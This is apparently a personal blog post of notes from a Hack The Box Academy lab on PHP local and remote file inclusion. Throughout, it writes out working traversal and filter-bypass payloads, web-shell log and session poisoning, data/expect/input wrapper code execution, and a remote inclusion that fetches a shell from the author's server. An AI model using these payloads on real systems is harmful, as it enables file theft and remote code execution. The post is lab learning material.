Posts Local File Inclusion
Post
Cancel

Local File Inclusion

My notes from the HTB Academy LFI/RFI module.

Discovering LFI

Basic

Seeing an equal sign is always a good indicator that a Local File Inclusion vulnerability may exist.

In this url: http://143.110.175.213:31437/basic/index.php?language=es.php we can replace the es.php with something more fun, like /etc/passwd: http://143.110.175.213:31437/basic/index.php?language=/etc/passwd

Which reveals the passwd file.

pic

Blacklists

Bypassing blacklists can be done a few different ways. A good wordlist should explore all of them. Here is an example of running FFuF with a wordlist looking for valid LFI.

1
ffuf -c -w /usr/share/wordlists/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt -u $ip/blacklist/index.php?language=FUZZ -fw 370 -fl 65

The -fw 370 -fl 65 were used here to weed out unwanted results.

This is a bit of php code that will negate your attempt to traverse directories by removing ../ .

pic

An easy way around this is with ….//….// . When ../ is removed by the script, it acutually results in ../ . Have a think about it, you’ll figure it out. Using this in practice would look like http://143.110.175.213:31437/blacklist/index.php?language=....//....//....//....//....//etc/passwd

You can also try to beat a blacklist with url encoding. This string is the same as the blacklist beater above: %2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2fetc%2fpasswd

Wildcard characters may also work: .?/.*/.?/etc/passwd

Appended Extensions and Wrappers

Certain php codes will append any file requested with .php. When we try to get clever and and ask for /etc/passwd, we actually end up asking for /etc/passwd.php, which obviously does not exist. By using certain php wrappers we can try to get clever once again.

Here is a list of common wrappers, but 3 useful ones are:

  • php://filter/read=convert.base64-encode/resource=/etc/passwd
  • php://filter/read=string.rot13/resource=/etc/passwd
  • expect://id

Using a wrapper and converting to base64 will allow us to read the config.php file with the following input: $ip/extension/index.php?language=php://filter/read=convert.base64-encode/resource=config

In the web browser the result looks like this:

pic

1
curl $ip/extension/index.php?language=php://filter/read=convert.base64-encode/resource=config

Looks like this:

pic

And decoding in Kali with echo $string | base64 -d gives up a few goodies.

pic

LFI to RCE

RCE via Apache or Nginx Log Files (Log Poisoning)

Using basic LFI to view the /var/log/apache2/acces.log file: $ip/index.php?language=/var/log/apache2/access.log

pic

Fire up Burpsuite and catch the request. Modify the User-Agent to something else and see if it shows up in the log.

pic

A bit easier to see in pretty mode.

pic

Since we know we can poison the log, let’s put something more fun than a flying monkey in the User-Agent field like a php shell: <?php system($_GET['mnky']); ?>. Append the GET request with &mnky=id and we should be able to see the id command executed.

pic

We can see the id command was executed in the response.

pic

Other files worth investigating:

  • /var/log/nginx/access.log
  • /var/log/sshd.log
  • /var/log/mail
  • /var/log/vsftpd.log

RCE via PHP Session Files

PHPSESSID in Burp:

pic

This should be logged in /var/lib/php/sessions/sess_inl681c2i54l6022ttsaa8p2fm so let’s use basic LFI to poison the session with Flying M0nkey: $ip/index.php?language=Flying_M0nkey and then check the session with: $ip/index.php?language=/var/lib/php/sessions/sess_inl681c2i54l6022ttsaa8p2fm.

Huzzah!

pic

Now doing the same with our web shell: $ip/index.php?language=<?php system($_GET['mnky']); ?>.

pic

We should now be able to issue a command: $ip/index.php?language=/var/lib/php/sessions/sess_inl681c2i54l6022ttsaa8p2fm&mnky=uname+-a. I’ve gone for uname -a; note the plus sign used to take up the space in the url.

pic

Data Wrapper

The data wrapper can be used to include external data, even PHP code. It’s possible to use this only if the allow_url_include setting is enabled in the PHP configuration. This can be found in the file /etc/php/X.Y/apache2/php.ini for Apache and in /etc/php/X.Y/fpm/php.ini for php-fpm used by Nginx, where X.Y is your install PHP version.

base64 encode our php shell.

pic

Submit the url: $ip/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW21ua3ldKTsgPz4K&mnky=id and hopefully we will see the id command executed.

pic

Expect Wrapper

The expect wrapper in PHP helps in interaction with process streams. This extension is disabled by default but can prove very useful if enabled. $ip/index.php?language=expect://id

pic

Inupt Wrapper

Similar to the data wrapper, the input wrapper can be used to include external input and execute code. It also needs the allow_url_include setting enabled. The following curl command sends a POST request with a system command and then includes it using php://input, which gets executed by the page.

1
curl -s -X POST --data "<?php system('id'); ?>" "$ip/index.php?language=php://input" | grep uid

pic

Using the input wrapper to read /secrets/flag.txt.

pic

Remote File Inclusion

To include a remote file in PHP, the allow_url_fopen setting (enabled by default) and allow_url_include setting have to be turned on.

The mnky.php file has a php one liner in it. Start a server and get it with the RFI: $ip/index.php?language=http://10.10.15.208/mnky.php?mnky=id

You can see that a request is made to my Python server and and it executes the id command on the web page.

pic pic

That’s it for now; I’m sure there will be more added all the time.

M0nkey out.

This post is licensed under CC BY 4.0 by the author.